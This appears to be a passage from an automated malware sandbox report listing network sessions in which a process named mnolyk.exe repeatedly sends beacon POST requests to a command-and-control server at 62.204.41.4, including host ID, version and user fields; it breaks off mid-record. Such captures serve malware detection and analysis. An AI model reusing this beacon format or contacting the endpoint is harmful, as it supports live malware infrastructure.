Feb 8, 2023 21:32:39.106972933 CET	486	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:39.173105001 CET	487	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.3	49989	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:39.351030111 CET	487	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:39.415781975 CET	488	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.3	49990	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:39.589080095 CET	488	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:39.652473927 CET	488	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.3	49991	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:39.825639009 CET	489	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:39.888402939 CET	489	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49731	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:23.865412951 CET	230	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:23.927287102 CET	230	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.3	49992	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:40.063951015 CET	490	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:40.132488966 CET	490	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.3	49993	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:40.309536934 CET	491	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:40.375819921 CET	491	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.3	49994	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:40.570822954 CET	492	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:40.634799957 CET	492	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.3	49995	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:40.808312893 CET	493	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:40.874547005 CET	493	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.3	49996	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:41.048048019 CET	494	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:41.114902020 CET	494	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.3	49997	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:41.295556068 CET	495	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:41.362737894 CET	495	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.3	49998	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:41.540596962 CET	496	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:41.604485989 CET	496	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.3	49999	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:41.775058031 CET	497	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:41.838279009 CET	497	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.3	50000	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:42.011738062 CET	498	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:42.077291012 CET	498	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.3	50001	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:42.251605034 CET	499	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:42.315658092 CET	499	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49704	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:10.105006933 CET	196	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:10.172152042 CET	204	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49732	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:24.105231047 CET	231	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:24.170511961 CET	231	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.3	50002	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:43.509977102 CET	500	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:43.573843956 CET	500	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.3	50003	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:43.753417015 CET	501	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:43.817357063 CET	501	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.3	50004	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:43.995455027 CET	502	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:44.062264919 CET	502	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.3	50005	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:44.235622883 CET	503	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:44.300940037 CET	503	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.3	50006	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:44.479967117 CET	504	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:44.543730974 CET	504	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.3	50007	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
